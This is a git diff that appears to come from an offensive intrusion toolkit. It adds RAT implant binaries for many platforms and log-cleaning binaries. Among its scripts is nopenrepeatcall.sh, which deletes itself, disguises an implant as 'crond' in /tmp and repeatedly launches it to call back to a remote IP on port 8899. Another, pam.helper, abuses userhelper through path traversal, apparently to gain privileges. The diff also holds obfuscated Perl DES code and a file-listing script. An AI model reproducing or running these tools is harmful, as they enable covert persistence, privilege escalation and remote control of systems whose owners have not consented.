0,0x802000,0x802000,0x802081,0x81,0,0x800080,0x800001, + 0x1,0x2000,0x800000,0x802001,0x80,0x800000,0x2001,0x2080, + 0x800081,0x1,0x2080,0x800080,0x2000,0x802080,0x802081,0x81, + 0x800080,0x800001,0x802000,0x802081,0x81,0,0,0x802000, + 0x2080,0x800080,0x800081,0x1,0x802001,0x2081,0x2081,0x80, + 0x802081,0x81,0x1,0x2000,0x800001,0x2001,0x802080,0x800081, + 0x2001,0x2080,0x800000,0x802001,0x80,0x800000,0x2000,0x802080); + my @z111 = (0x100,0x2080100,0x2080000,0x42000100,0x80000,0x100,0x40000000,0x2080000, + 0x40080100,0x80000,0x2000100,0x40080100,0x42000100,0x42080000,0x80100,0x40000000, + 0x2000000,0x40080000,0x40080000,0,0x40000100,0x42080100,0x42080100,0x2000100, + 0x42080000,0x40000100,0,0x42000000,0x2080100,0x2000000,0x42000000,0x80100, + 0x80000,0x42000100,0x100,0x2000000,0x40000000,0x2080000,0x42000100,0x40080100, + 0x2000100,0x40000000,0x42080000,0x2080100,0x40080100,0x100,0x2000000,0x42080000, + 0x42080100,0x80100,0x42000000,0x42080100,0x2080000,0,0x40080000,0x42000000, + 0x80100,0x2000100,0x40000100,0x80000,0,0x40080000,0x2080100,0x40000100); + my @z112 = (0x20000010,0x20400000,0x4000,0x20404010,0x20400000,0x10,0x20404010,0x400000, + 0x20004000,0x404010,0x400000,0x20000010,0x400010,0x20004000,0x20000000,0x4010, + 0,0x400010,0x20004010,0x4000,0x404000,0x20004010,0x10,0x20400010, + 0x20400010,0,0x404010,0x20404000,0x4010,0x404000,0x20404000,0x20000000, + 0x20004000,0x10,0x20400010,0x404000,0x20404010,0x400000,0x4010,0x20000010, + 0x400000,0x20004000,0x20000000,0x4010,0x20000010,0x20404010,0x404000,0x20400000, + 0x404010,0x20404000,0,0x20400010,0x10,0x4000,0x20400000,0x404010, + 0x4000,0x400010,0x20004010,0,0x20404000,0x20000000,0x400010,0x20004010); + my @z113 = (0x200000,0x4200002,0x4000802,0,0x800,0x4000802,0x200802,0x4200800, + 0x4200802,0x200000,0,0x4000002,0x2,0x4000000,0x4200002,0x802, + 0x4000800,0x200802,0x200002,0x4000800,0x4000002,0x4200000,0x4200800,0x200002, + 0x4200000,0x800,0x802,0x4200802,0x200800,0x2,0x4000000,0x200800, + 0x4000000,0x200800,0x200000,0x4000802,0x4000802,0x4200002,0x4200002,0x2, + 0x200002,0x4000000,0x4000800,0x200000,0x4200800,0x802,0x200802,0x4200800, + 0x802,0x4000002,0x4200802,0x4200000,0x200800,0,0x2,0x4200802, + 0,0x200802,0x4200000,0x800,0x4000002,0x4000800,0x800,0x200002); + my @z114 = (0x10001040,0x1000,0x40000,0x10041040,0x10000000,0x10001040,0x40,0x10000000, + 0x40040,0x10040000,0x10041040,0x41000,0x10041000,0x41040,0x1000,0x40, + 0x10040000,0x10000040,0x10001000,0x1040,0x41000,0x40040,0x10040040,0x10041000, + 0x1040,0,0,0x10040040,0x10000040,0x10001000,0x41040,0x40000, + 0x41040,0x40000,0x10041000,0x1000,0x40,0x10040040,0x1000,0x41040, + 0x10001000,0x40,0x10000040,0x10040000,0x10040040,0x10000000,0x40000,0x10001040, + 0,0x10041040,0x40040,0x10000040,0x10040000,0x10001000,0x10001040,0, + 0x10041040,0x41000,0x41000,0x1040,0x1040,0x40040,0x10000000,0x10041000); + + my ($z159, $z116, $z117, $z165, $z119, $z120, $z121, $z163, $z164, @z124) = (0); + my ($z125, $z126, $z127, $z128); + my ($z129, $z130, $z131, $z132); + my $z133 = 0; + + if(length($z141) != 24) { + return 0; + } + + my @z157 = f12($z141); + + my $z156 = 9; + my $z160 = $#z157; + @z124 = $z104 ? (0, 32, 2, 62, 30, -2, 64, 96, 2) : (94, 62, -2, 32, 64, 2, 30, -2, -2); + + if($z104 && $z106) { + my $z137 = 8 - (length($z103) % 8); + $z103 .= (chr($z137) x $z137); + } + + my $z140 = length($z103); + + $z131 = ""; + $z132 = ""; + + $z125 = ((unpack("C", substr($z105, $z159++, 1)) << 24) | + (unpack("C", substr($z105, $z159++, 1)) << 16) | + (unpack("C", substr($z105, $z159++, 1)) << 8) | + unpack("C", substr($z105, $z159++, 1))) & 0xffffffff; + $z127 = ((unpack("C", substr($z105, $z159++, 1)) << 24) | + (unpack("C", substr($z105, $z159++, 1)) << 16) | + (unpack("C", substr($z105, $z159++, 1)) << 8) | + unpack("C", substr($z105, $z159++, 1))) & 0xffffffff; + $z159 = 0; + + while ($z159 < $z140) { + $z163 = ((unpack("C", substr($z103, $z159++, 1)) << 24) | + (unpack("C", substr($z103, $z159++, 1)) << 16) | + (unpack("C", substr($z103, $z159++, 1)) << 8) | + unpack("C", substr($z103, $z159++, 1))) & 0xffffffff; + $z164 = ((unpack("C", substr($z103, $z159++, 1)) << 24) | + (unpack("C", substr($z103, $z159++, 1)) << 16) | + (unpack("C", substr($z103, $z159++, 1)) << 8) | + unpack("C", substr($z103, $z159++, 1))) & 0xffffffff; + + if ($z104) { + $z163 ^= $z125; + $z164 ^= $z127 + } + else { + $z126 = $z125; + $z128 = $z127; + $z125 = $z163; + $z127 = $z164; + } + + $z165 = (($z163 >> 4) ^ $z164) & 0x0f0f0f0f; + $z164 ^= $z165; + $z163 ^= ($z165 << 4) & 0xffffffff; + + $z165 = (($z163 >> 16) ^ $z164) & 0x0000ffff; + $z164 ^= $z165; + $z163 ^= ($z165 << 16) & 0xffffffff; + + $z165 = (($z164 >> 2) ^ $z163) & 0x33333333; + $z163 ^= $z165; + $z164 ^= ($z165 << 2) & 0xffffffff; + + $z165 = (($z164 >> 8) ^ $z163) & 0x00ff00ff; + $z163 ^= $z165; + $z164 ^= ($z165 << 8) & 0xffffffff; + + $z165 = (($z163 >> 1) ^ $z164) & 0x55555555; + $z164 ^= $z165; + $z163 ^= ($z165 << 1) & 0xffffffff; + + $z163 = (($z163 << 1) | ($z163 >> 31)) & 0xffffffff; + $z164 = (($z164 << 1) | ($z164 >> 31)) & 0xffffffff; + + for ($z117 = 0; $z117 < $z156; $z117 += 3) { + $z129 = $z124[$z117 + 1]; + $z130 = $z124[$z117 + 2]; + + for ($z116 = $z124[$z117]; $z116 != $z129; $z116 += $z130) { + $z120 = $z164 ^ $z157[$z116]; + $z121 = ((($z164 >> 4) | ($z164 << 28)) ^ $z157[$z116+1]) & 0xffffffff; + + $z165 = $z163; + $z163 = $z164; + $z164 = $z165 ^ ($z108[($z120 >> 24) & 0x3f] | + $z110[($z120 >> 16) & 0x3f] | + $z112[($z120 >> 8) & 0x3f] | + $z114[$z120 & 0x3f] | + $z107[($z121 >> 24) & 0x3f] | + $z109[($z121 >> 16) & 0x3f] | + $z111[($z121 >> 8) & 0x3f] | + $z113[$z121 & 0x3f]); + } + + $z165 = $z163; + $z163 = $z164; + $z164 = $z165; + } + + $z163 = (($z163 >> 1) | ($z163 << 31)) & 0xffffffff; + $z164 = (($z164 >> 1) | ($z164 << 31)) & 0xffffffff; + + $z165 = (($z163 >> 1) ^ $z164) & 0x55555555; + $z164 ^= $z165; + $z163 ^= ($z165 << 1) & 0xffffffff; + + $z165 = (($z164 >> 8) ^ $z163) & 0x00ff00ff; + $z163 ^= $z165; + $z164 ^= ($z165 << 8) & 0xffffffff; + + $z165 = (($z164 >> 2) ^ $z163) & 0x33333333; + $z163 ^= $z165; + $z164 ^= ($z165 << 2) & 0xffffffff; + + $z165 = (($z163 >> 16) ^ $z164) & 0x0000ffff; + $z164 ^= $z165; + $z163 ^= ($z165 << 16) & 0xffffffff; + + $z165 = (($z163 >> 4) ^ $z164) & 0x0f0f0f0f; + $z164 ^= $z165; + $z163 ^= ($z165 << 4) & 0xffffffff; + + if ($z104) { + $z125 = $z163; + $z127 = $z164; + } + else { + $z163 ^= $z126; + $z164 ^= $z128; + } + + $z132 .= pack("C*", (($z163 >> 24), (($z163 >> 16) & 0xff), + (($z163 >> 8) & 0xff), ($z163 & 0xff), + ($z164 >> 24), (($z164 >> 16) & 0xff), + (($z164 >> 8) & 0xff), ($z164 & 0xff))); + + $z133 += 8; + if ($z133 == 512) { + $z131 .= $z132; + $z132 = ""; + $z133 = 0; + } + } + + $z131 .= $z132; + + if(!$z104 and $z106) { + $z140 = length($z131); + my $z139 = ord(substr($z131, $z140 - 1, 1)); + $z131 = substr($z131, 0, $z140 - $z139); + } + + return $z131; +} + +sub f12 { + use integer; + my($z141) = @_; + + my @z142 = (0,0x4,0x20000000,0x20000004,0x10000,0x10004,0x20010000,0x20010004, + 0x200,0x204,0x20000200,0x20000204,0x10200,0x10204,0x20010200,0x20010204); + my @z143 = (0,0x1,0x100000,0x100001,0x4000000,0x4000001,0x4100000,0x4100001, + 0x100,0x101,0x100100,0x100101,0x4000100,0x4000101,0x4100100,0x4100101); + my @z144 = (0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808, + 0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808); + my @z145 = (0,0x200000,0x8000000,0x8200000,0x2000,0x202000,0x8002000,0x8202000, + 0x20000,0x220000,0x8020000,0x8220000,0x22000,0x222000,0x8022000,0x8222000); + my @z146 = (0,0x40000,0x10,0x40010,0,0x40000,0x10,0x40010, + 0x1000,0x41000,0x1010,0x41010,0x1000,0x41000,0x1010,0x41010); + my @z147 = (0,0x400,0x20,0x420,0,0x400,0x20,0x420, + 0x2000000,0x2000400,0x2000020,0x2000420,0x2000000,0x2000400,0x2000020,0x2000420); + my @z148 = (0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002, + 0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002); + my @z149 = (0,0x10000,0x800,0x10800,0x20000000,0x20010000,0x20000800,0x20010800, + 0x20000,0x30000,0x20800,0x30800,0x20020000,0x20030000,0x20020800,0x20030800); + my @z150 = (0,0x40000,0,0x40000,0x2,0x40002,0x2,0x40002, + 0x2000000,0x2040000,0x2000000,0x2040000,0x2000002,0x2040002,0x2000002,0x2040002); + my @z151 = (0,0x10000000,0x8,0x10000008,0,0x10000000,0x8,0x10000008, + 0x400,0x10000400,0x408,0x10000408,0x400,0x10000400,0x408,0x10000408); + my @z152 = (0,0x20,0,0x20,0x100000,0x100020,0x100000,0x100020, + 0x2000,0x2020,0x2000,0x2020,0x102000,0x102020,0x102000,0x102020); + my @z153 = (0,0x1000000,0x200,0x1000200,0x200000,0x1200000,0x200200,0x1200200, + 0x4000000,0x5000000,0x4000200,0x5000200,0x4200000,0x5200000,0x4200200,0x5200200); + my @z154 = (0,0x1000,0x8000000,0x8001000,0x80000,0x81000,0x8080000,0x8081000, + 0x10,0x1010,0x8000010,0x8001010,0x80010,0x81010,0x8080010,0x8081010); + my @z155 = (0,0x4,0x100,0x104,0,0x4,0x100,0x104, + 0x1,0x5,0x101,0x105,0x1,0x5,0x101,0x105); + + my $z156 = 3; + + my @z157; + $#z157 = (32 * $z156); + + my @z158 = (0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0); + + my ($z159, $z160, $z161, $z162, $z163, $z164, $z165) = (0, 0); + + for (my $z117 = 0; $z117 < $z156; $z117++) { + $z163 = ((unpack("C", substr($z141, $z159++, 1)) << 24) | + (unpack("C", substr($z141, $z159++, 1)) << 16) | + (unpack("C", substr($z141, $z159++, 1)) << 8) | + unpack("C", substr($z141, $z159++, 1))) & 0xffffffff; + $z164 = ((unpack("C", substr($z141, $z159++, 1)) << 24) | + (unpack("C", substr($z141, $z159++, 1)) << 16) | + (unpack("C", substr($z141, $z159++, 1)) << 8) | + unpack("C", substr($z141, $z159++, 1))) & 0xffffffff; + + $z165 = (($z163 >> 4) ^ $z164) & 0x0f0f0f0f; + $z164 ^= $z165; + $z163 ^= ($z165 << 4) & 0xffffffff; + + $z165 = (($z164 >> 16)^ $z163) & 0x0000ffff; + $z163 ^= $z165; + $z164 ^= ($z165 << 16) & 0xffffffff; + + $z165 = (($z163 >> 2) ^ $z164) & 0x33333333; + $z164 ^= $z165; + $z163 ^= ($z165 << 2) & 0xffffffff; + + $z165 = (($z164 >> 16)^ $z163) & 0x0000ffff; + $z163 ^= $z165; + $z164 ^= ($z165 << 16) & 0xffffffff; + + $z165 = (($z163 >> 1) ^ $z164) & 0x55555555; + $z164 ^= $z165; + $z163 ^= ($z165 << 1) & 0xffffffff; + + $z165 = (($z164 >> 8) ^ $z163) & 0x00ff00ff; + $z163 ^= $z165; + $z164 ^= ($z165 << 8) & 0xffffffff; + + $z165 = (($z163 >> 1) ^ $z164) & 0x55555555; + $z164 ^= $z165; + $z163 ^= ($z165 << 1) & 0xffffffff; + + $z165 = (($z163 << 8) | (($z164 >> 20) & 0x000000f0)) & 0xffffffff; + $z163 = (($z164 << 24) | (($z164 << 8) & 0xff0000) | + (($z164 >> 8) & 0xff00) | (($z164 >> 24) & 0xf0)) & 0xffffffff; + $z164 = $z165; + + for (my $z116 = 0; $z116 <= $#z158; $z116++) { + if ($z158[$z116]) { + no integer; + $z163 = (($z163 << 2) | ($z163 >> 26)) & 0xffffffff; + $z164 = (($z164 << 2) | ($z164 >> 26)) & 0xffffffff; + use integer; + $z163 <<= 0; + $z164 <<= 0; + } else { + no integer; + $z163 = (($z163 << 1) | ($z163 >> 27)) & 0xffffffff; + $z164 = (($z164 << 1) | ($z164 >> 27)) & 0xffffffff; + use integer; + $z163 <<= 0; + $z164 <<= 0; + } + + $z163 &= 0xfffffff0; + $z164 &= 0xfffffff0; + + $z161 = $z142[$z163 >> 28] | $z143[($z163 >> 24) & 0xf] + | $z144[($z163 >> 20) & 0xf] | $z145[($z163 >> 16) & 0xf] + | $z146[($z163 >> 12) & 0xf] | $z147[($z163 >> 8) & 0xf] + | $z148[($z163 >> 4) & 0xf]; + $z162 = $z149[$z164 >> 28] | $z150[($z164 >> 24) & 0xf] + | $z151[($z164 >> 20) & 0xf] | $z152[($z164 >> 16) & 0xf] + | $z153[($z164 >> 12) & 0xf] | $z154[($z164 >> 8) & 0xf] + | $z155[($z164 >> 4) & 0xf]; + $z165 = (($z162 >> 16) ^ $z161) & 0x0000ffff; + $z157[$z160++] = ($z161 ^ $z165) & 0xffffffff; + $z157[$z160++] = ($z162 ^ ($z165 << 16)) & 0xffffffff; + } + } + + return @z157; +} diff --git a/Linux/up/mod32 b/Linux/up/mod32 new file mode 100644 index 0000000..36e153f Binary files /dev/null and b/Linux/up/mod32 differ diff --git a/Linux/up/mod64 b/Linux/up/mod64 new file mode 100644 index 0000000..6725263 Binary files /dev/null and b/Linux/up/mod64 differ diff --git a/Linux/up/morerats.tar.bz2 b/Linux/up/morerats.tar.bz2 new file mode 100644 index 0000000..51998a1 Binary files /dev/null and b/Linux/up/morerats.tar.bz2 differ diff --git a/Linux/up/newsg.sol.sparc b/Linux/up/newsg.sol.sparc new file mode 100755 index 0000000..611cedb Binary files /dev/null and b/Linux/up/newsg.sol.sparc differ diff --git a/Linux/up/nopenrepeatcall.sh b/Linux/up/nopenrepeatcall.sh new file mode 100755 index 0000000..609e50c --- /dev/null +++ b/Linux/up/nopenrepeatcall.sh @@ -0,0 +1,136 @@ +#!/bin/sh +MAINDIR=/var/tmp/.d32804ef8a03f5a7 +EXECDIR=/tmp +TOOLNAME=crond +# END ARGS ::: DO NOT DELETE THIS LINE +# Args above here can be changed by autowrapsift, nothing below can. +VER=1.0.0.1 +SRCPATH=$MAINDIR/.no +SLEEPFOR=30 +RUNFOR=180 +RANFOR=0 +IP=555.10.32.102 +PORT=8899 +STDERR=yes +DBGDIR=$MAINDIR/d +DIEDIR=$MAINDIR/.die +ERR=0 +CONF=$MAINDIR/.noc +Q= + +dbg() { + [ "$STDERR" ] && echo "NC[$$] $*" 1>&2 + [ -d $DBGDIR ] && echo `date -u`: "($INTF:$FILT)[$$] $*" >> $DBGDIR/.dbg + [ ! -d $DBGDIR ] && [ $ERR -gt 0 ] && echo `date -u`: "($INTF:$FILT)[$$] ERR=$ERR" >> $DEST1/.D$OUTFILE +} + +die() { + ERR=$1 + shift + dbg "FATAL: $*" + cleanup + exit $ERR +} + +cleanup() { + /bin/rm -f $SRCPATH $CONF $EXECDIR/$TOOLNAME + rmdir $DIEDIR +} + +info() { + dbg "Using $SRCPATH as $TOOLNAME with D=-uc$IP:$PORT PATH=$PATH LV=$LVERR=$ERR" +} + +PATH=$EXECDIR:/bin:/usr/bin:/sbin:/usr/sbin:/usr/ucb +export PATH + +dbg DEBUG output will be sent to $DBGDIR/.dbg if that location exists. + +trap : TERM + +export PATH DEST1 DEST2 DIR TOOL FILT +LV=0 +uname -s 2>/dev/null | grep -i "hp" >/dev/null && LV=1 + +dbg "Removing self ($0)" +rm -f $0 || die 19 Cannot delete $0 + +[ -d "$MAINDIR" ] || die 12 DIR=$MAINDIR must exist + + + +cd /tmp || cd /var/tmp +dbg "Starting in `pwd`" + +WHICH=FIRST +TESTRUN="" +ERRCOUNT=0 +MINCOUNT=0 +LASTMIN="" + +while [ 1 ] ; do + [ $RANFOR -gt $RUNFOR ] && break + dbg sleeping $SLEEPFOR + sleep $SLEEPFOR + [ $? -gt 0 ] && ERRCOUNT=`echo $ERRCOUNT+1 | bc` + RANFOR=`echo $RANFOR+$SLEEPFOR | bc` + + THISMIN=`date -u +%Y%m%d%H%M` + if [ "$THISMIN" = "$LASTMIN" ] ; then + MINCOUNT=`echo $MINCOUNT+1 | bc` + else + MINCOUNT=0 + LASTMIN=$THISMIN + fi + [ $MINCOUNT -gt 5 ] && die 24 over five loops per minute + dbg LASTMIN=$LASTMIN MINCOUNT=$MINCOUNT + + + if [ -s $CONF ] ; then + MORE="" + if [ $ERR -gt 0 ] ; then + # If ERR last time through AND a config file, we assume here + # someone killed the sleep to read in the new config + ERRCOUNT=`echo $ERRCOUNT-1 | bc` + MORE="... decremented ERRCOUNT to $ERRCOUNT" + fi + dbg sourcing/deleting $CONF containing${MORE}: `cat $CONF` + . $CONF + TESTRUN="" + rm -f $CONF + info + unset MORE + fi + + cp -p $SRCPATH $EXECDIR/$TOOLNAME || die 13 Could not cp -p $SRCPATH $EXECDIR/$TOOLNAME + chmod 700 $EXECDIR/$TOOLNAME|| die 14 Could not chmod 700 $EXECDIR/$TOOLNAME + [ -x "$EXECDIR/$TOOLNAME" ] || die 15 $EXECDIR/$TOOLNAME not executable + + TEST=`which $TOOLNAME 2>&1| grep "^$EXECDIR/$TOOLNAME$"` + [ "$TEST" ] && dbg "continuing, $TOOLNAME is in PATH=$PATH at $TEST" + [ ! "$TEST" ] && die 11 "TEST=$TEST= PATH=$PATH \n cannot continue $TOOLNAME either not in PATH or not in $EXECDIR (which $TOOLNAME=`which $TOOLNAME 2>&1`)" + + dbg "RUNNING:D=-uc$IP:$PORT $TOOLNAME:" + D=-uc$IP:$PORT $TOOLNAME + ERR=$? + sleep 5 + dbg "Running as D=-uc$IP:$PORT $TOOLNAME returned $ERR" + if [ $LV -eq 0 ] ; then + [ -f $EXECDIR/$TOOLNAME ] && die 16 "$EXECDIR/$TOOLNAME did not self delete \n`ls -al $EXECDIR/$TOOLNAME`" + fi + + [ "$STDERR" ] && info + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + unset STDERR + + if [ $ERR -gt 0 ] ; then + ERRCOUNT=`echo $ERRCOUNT+1 | bc` + if [ $ERRCOUNT -gt 15 ] ; then + die 21 "ERROR COUNT $ERRCOUNT: cannot continue" + fi + fi + [ -d $DIEDIR ] && break +done + +dbg "ERR=$ERR ERRCOUNT=$ERRCOUNT DONE: "`ls -ald $DIEDIR 2>/dev/null` +cleanup diff --git a/Linux/up/noserver b/Linux/up/noserver new file mode 100644 index 0000000..b145544 Binary files /dev/null and b/Linux/up/noserver differ diff --git a/Linux/up/noserver-aix b/Linux/up/noserver-aix new file mode 120000 index 0000000..7948634 --- /dev/null +++ b/Linux/up/noserver-aix @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-aix-ppc \ No newline at end of file diff --git a/Linux/up/noserver-darwin-10-i386 b/Linux/up/noserver-darwin-10-i386 new file mode 120000 index 0000000..b4096de --- /dev/null +++ b/Linux/up/noserver-darwin-10-i386 @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-darwin_10-i386 \ No newline at end of file diff --git a/Linux/up/noserver-darwin-11-i386 b/Linux/up/noserver-darwin-11-i386 new file mode 120000 index 0000000..bb39386 --- /dev/null +++ b/Linux/up/noserver-darwin-11-i386 @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-darwin_11-i386 \ No newline at end of file diff --git a/Linux/up/noserver-darwin-9-i386 b/Linux/up/noserver-darwin-9-i386 new file mode 120000 index 0000000..1d520c9 --- /dev/null +++ b/Linux/up/noserver-darwin-9-i386 @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-darwin_9-i386 \ No newline at end of file diff --git a/Linux/up/noserver-darwin-ppc b/Linux/up/noserver-darwin-ppc new file mode 120000 index 0000000..08c11fe --- /dev/null +++ b/Linux/up/noserver-darwin-ppc @@ -0,0 +1 @@ +morerats/noserver-3.3.2.5-darwin-ppc \ No newline at end of file diff --git a/Linux/up/noserver-hpux b/Linux/up/noserver-hpux new file mode 120000 index 0000000..55e7ba6 --- /dev/null +++ b/Linux/up/noserver-hpux @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-hpux-hppa2_0 \ No newline at end of file diff --git a/Linux/up/noserver-linux b/Linux/up/noserver-linux new file mode 120000 index 0000000..cf91872 --- /dev/null +++ b/Linux/up/noserver-linux @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-linux-i386 \ No newline at end of file diff --git a/Linux/up/noserver-linux-static b/Linux/up/noserver-linux-static new file mode 120000 index 0000000..40f32f1 --- /dev/null +++ b/Linux/up/noserver-linux-static @@ -0,0 +1 @@ +morerats/staticrats/noserver-3.3.2.3-linux-i386-static \ No newline at end of file diff --git a/Linux/up/noserver-sparcsol2.7 b/Linux/up/noserver-sparcsol2.7 new file mode 120000 index 0000000..6e149db --- /dev/null +++ b/Linux/up/noserver-sparcsol2.7 @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-solaris_2.7-sparc \ No newline at end of file diff --git a/Linux/up/noserver-sparcsol2.8 b/Linux/up/noserver-sparcsol2.8 new file mode 120000 index 0000000..a32ac83 --- /dev/null +++ b/Linux/up/noserver-sparcsol2.8 @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-solaris_2.8-sparc \ No newline at end of file diff --git a/Linux/up/noserver-x86sol2.7 b/Linux/up/noserver-x86sol2.7 new file mode 120000 index 0000000..96aaaad --- /dev/null +++ b/Linux/up/noserver-x86sol2.7 @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-solaris_2.7-i386 \ No newline at end of file diff --git a/Linux/up/noserver-x86sol2.8 b/Linux/up/noserver-x86sol2.8 new file mode 120000 index 0000000..51ac4e8 --- /dev/null +++ b/Linux/up/noserver-x86sol2.8 @@ -0,0 +1 @@ +morerats/noserver-3.3.2.3-solaris_2.8-i386 \ No newline at end of file diff --git a/Linux/up/orleans.tar.bz2 b/Linux/up/orleans.tar.bz2 new file mode 100644 index 0000000..7b68a15 Binary files /dev/null and b/Linux/up/orleans.tar.bz2 differ diff --git a/Linux/up/orleansstride.v2.3.0.0.SunOS5.8.targetdl b/Linux/up/orleansstride.v2.3.0.0.SunOS5.8.targetdl new file mode 100755 index 0000000..6f61807 Binary files /dev/null and b/Linux/up/orleansstride.v2.3.0.0.SunOS5.8.targetdl differ diff --git a/Linux/up/p.t b/Linux/up/p.t new file mode 100644 index 0000000..46711cd Binary files /dev/null and b/Linux/up/p.t differ diff --git a/Linux/up/pam.helper b/Linux/up/pam.helper new file mode 100644 index 0000000..0835ad1 --- /dev/null +++ b/Linux/up/pam.helper @@ -0,0 +1,12 @@ + +mkdir /tmp/icd10092; cd /tmp/icd10092 + +-put +tar -xvf p.t; + +/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf + +rm p.t _*; ls -al + + + diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-freebsd_5.0-i386 b/Linux/up/pcleans/pclean.v2.1.1.0-freebsd_5.0-i386 new file mode 100755 index 0000000..4cabcc5 Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-freebsd_5.0-i386 differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-freebsd_6.0-i386 b/Linux/up/pcleans/pclean.v2.1.1.0-freebsd_6.0-i386 new file mode 100755 index 0000000..cad088f Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-freebsd_6.0-i386 differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-freebsd_7.0-i386 b/Linux/up/pcleans/pclean.v2.1.1.0-freebsd_7.0-i386 new file mode 100755 index 0000000..1d9111e Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-freebsd_7.0-i386 differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-linux-i386 b/Linux/up/pcleans/pclean.v2.1.1.0-linux-i386 new file mode 100755 index 0000000..3a651c5 Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-linux-i386 differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-linux-x86_64 b/Linux/up/pcleans/pclean.v2.1.1.0-linux-x86_64 new file mode 100755 index 0000000..0394548 Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-linux-x86_64 differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.7-i386 b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.7-i386 new file mode 100755 index 0000000..9d13cad Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.7-i386 differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.7-sparc b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.7-sparc new file mode 100755 index 0000000..de0f100 Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.7-sparc differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.8-i386 b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.8-i386 new file mode 100755 index 0000000..9d13cad Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.8-i386 differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.8-sparc b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.8-sparc new file mode 100755 index 0000000..de0f100 Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.8-sparc differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.9-i386 b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.9-i386 new file mode 100755 index 0000000..7669ad9 Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.9-i386 differ diff --git a/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.9-sparc b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.9-sparc new file mode 100755 index 0000000..b5b860d Binary files /dev/null and b/Linux/up/pcleans/pclean.v2.1.1.0-solaris_2.9-sparc differ diff --git a/Linux/up/perlfind b/Linux/up/perlfind new file mode 100755 index 0000000..9996eb1 --- /dev/null +++ b/Linux/up/perlfind @@ -0,0 +1,162 @@ +#!/usr/bin/perl + eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' + if 0; #$running_under_some_shell + +use strict; +use File::Find (); +#use Getopt::Long; + +# Set the variable $File::Find::dont_use_nlink if you're using AFS, +# since AFS cheats. + +# for the convenience of &wanted calls, including -eval statements: +use vars qw/*name *dir *prune/; +*name = *File::Find::name; +*dir = *File::Find::dir; +*prune = *File::Find::prune; + +my $findmounts = $ENV{'F'}; +#my $after_mdate = $ENV{'M'}; +#my $after_cdate = $ENV{'C'}; +#my $after_adate = $ENV{'A'}; + +my $after_date = $ENV{'M'} || $ENV{'C'} || $ENV{'A'} || 0; + +my ($after_year, $after_mon, $after_day); +if ($after_date) { + ($after_year, $after_mon, $after_day) = $after_date =~ m/^(\d{4})(\d\d)(\d\d)/; +} + +my @fdirs = split(/ /, $findmounts); + +printf " inode mode link owner group size mtime atime ctime filename\n"; + +sub wanted; +sub ls (); + +my @rwx = qw(--- --x -w- -wx r-- r-x rw- rwx); +my @moname = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec); + +my (%uid, %user); +while (my ($name, $pw, $uid) = getpwent) { + $user{$uid} = $name unless exists $user{$uid}; +} + +my (%gid, %group); +while (my ($name, $pw, $gid) = getgrent) { + $group{$gid} = $name unless exists $group{$gid}; +} + + +# Traverse desired filesystems + + +File::Find::find({wanted => \&wanted},@fdirs); +exit; + + +sub wanted { + my ($dev,$ino,$mode,$nlink,$uid,$gid); + + (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) && + !($File::Find::prune |= ($dev != $File::Find::topdev)) + && ls(); +} + + +sub sizemm { + my $rdev = shift; + sprintf("%3d, %3d", ($rdev >> 8) & 0xff, $rdev & 0xff); +} + +sub ls () { + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) = lstat(_); + my $pname = $name; + + $blocks + or $blocks = int(($size + 1023) / 1024); + + my $perms = $rwx[$mode & 7]; + $mode >>= 3; + $perms = $rwx[$mode & 7] . $perms; + $mode >>= 3; + $perms = $rwx[$mode & 7] . $perms; + substr($perms, 2, 1) =~ tr/-x/Ss/ if -u _; + substr($perms, 5, 1) =~ tr/-x/Ss/ if -g _; + substr($perms, 8, 1) =~ tr/-x/Tt/ if -k _; + if (-f _) { $perms = '-' . $perms; } + elsif (-d _) { $perms = 'd' . $perms; } + 